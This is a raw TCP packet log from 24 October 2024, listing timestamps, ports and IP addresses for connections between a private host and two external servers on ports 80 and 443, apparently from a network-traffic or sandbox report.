Oct 24, 2024 13:27:10.689896107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689904928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689930916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689939976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.689966917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.689975977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690010071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690040112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690074921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690084934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690109015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690119028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690145016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690152884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690188885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690191031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690222979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690232038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690257072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690265894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690291882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690301895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690325975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690335035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690361023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690367937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690393925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690411091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690428019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690443039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690464973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690479040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690509081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690512896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690542936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690560102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690577030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690587044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690612078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690624952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690645933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690660954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690680027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690695047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690716028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690727949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690747976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690768957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690782070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690795898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690815926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690829039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690850973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690862894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690885067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690897942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690920115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690932989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690956116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.690968037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.690992117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691003084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691049099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691270113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691303968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691335917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691351891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691381931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691415071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691430092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691450119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691471100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691483021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691494942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691518068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691529989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691551924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691562891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691586971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691591024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691632032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691641092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691675901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691688061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691713095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691720009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691750050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691781998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691782951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691802979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691817045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691828012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691850901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691884995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691905022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691915035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691926956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691951990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691963911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.691986084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.691997051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.692020893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.692032099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.692054987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.692065954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.692087889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.692101955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.692121983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.692132950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.692166090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:11.164681911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:11.164683104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:11.170842886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:11.170938969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:11.601299047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:11.601593971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:11.664011955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:11.670145035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:11.903892994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:11.903985023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:11.904026985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:11.904248953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:11.906438112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:11.913408995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.159075022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.159306049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.179088116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.185180902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.419008017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.419212103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.513580084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.513580084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.519834042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.519941092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.519972086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.519999027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.520035982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.520104885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.520133018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.520154953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.520162106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.520272970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.520430088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.520488024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.520684004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.525185108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.525213003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.525414944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.525684118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.525727987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.525758028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.525784969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.525839090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.525867939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.525868893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.525979996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.526164055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.526192904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.526240110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.526345015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.526417017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.526506901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.526590109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.530575991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.530647039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.530987024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531028032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531058073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531111956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531141996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531168938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531197071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531196117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.531290054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.531337976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531373978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531404972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.531435013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:12.531436920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531521082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531548977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531575918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531601906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531663895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531693935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531719923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531747103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531774998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531824112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531851053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531878948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531903982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531930923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531958103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.531984091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.532010078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.532037020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.532062054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536149025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536178112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536205053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536231995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536257982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536284924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536338091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536365032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536391973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536417961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536446095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536473036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536540031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536567926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536595106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536621094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536648035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536674023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536703110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536753893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.536781073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.537691116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.537734032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.537763119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.537791014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.537848949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.537877083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.537904024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.537956953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.537985086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538012028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538039923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538065910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538094044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538145065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538172960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538201094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538228035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538255930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538281918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:12.538309097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:13.385935068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:13.386183977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:13.419186115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:13.425086021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:13.658214092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:13.658427954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:13.722771883 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:13.722851038 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:13.722932100 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:13.738375902 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:13.738425016 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:14.839160919 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:14.839241982 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:14.910005093 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:14.910079956 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:14.910948992 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:14.911011934 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:14.916472912 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:14.963329077 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.286987066 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.287015915 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.287034035 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.287096024 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.287167072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.287206888 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.287230015 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.317820072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.317840099 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.317890882 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.317914963 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.317943096 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.317964077 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.395894051 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.395957947 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.395986080 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.396007061 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.396042109 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.396043062 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.941494942 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.941525936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.941576004 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.941582918 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.941622019 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.941667080 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.941667080 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.941682100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:15.941715002 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:15.941735029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.190711975 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.190737963 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.190785885 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.190815926 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.190879107 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.190908909 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.190968037 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.220702887 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.220729113 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.220782995 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.220844030 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.220881939 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.221143961 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.294137955 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.294173002 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.294234037 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.294265985 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.294284105 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.294305086 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.307106018 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.307132006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.307173967 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.307205915 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:16.307228088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:16.307679892 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:17.183669090 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.183679104 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.183712006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.183748960 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:17.183779955 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.183796883 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:17.183816910 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:17.287180901 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.287199020 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.287245989 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:17.287277937 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.287297010 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:17.287311077 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:17.297291994 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.297305107 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.297368050 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:17.297396898 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:17.297435999 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.113786936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.113801003 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.113847017 CEST	443	49731	185.98.131.200	192.168.2.4
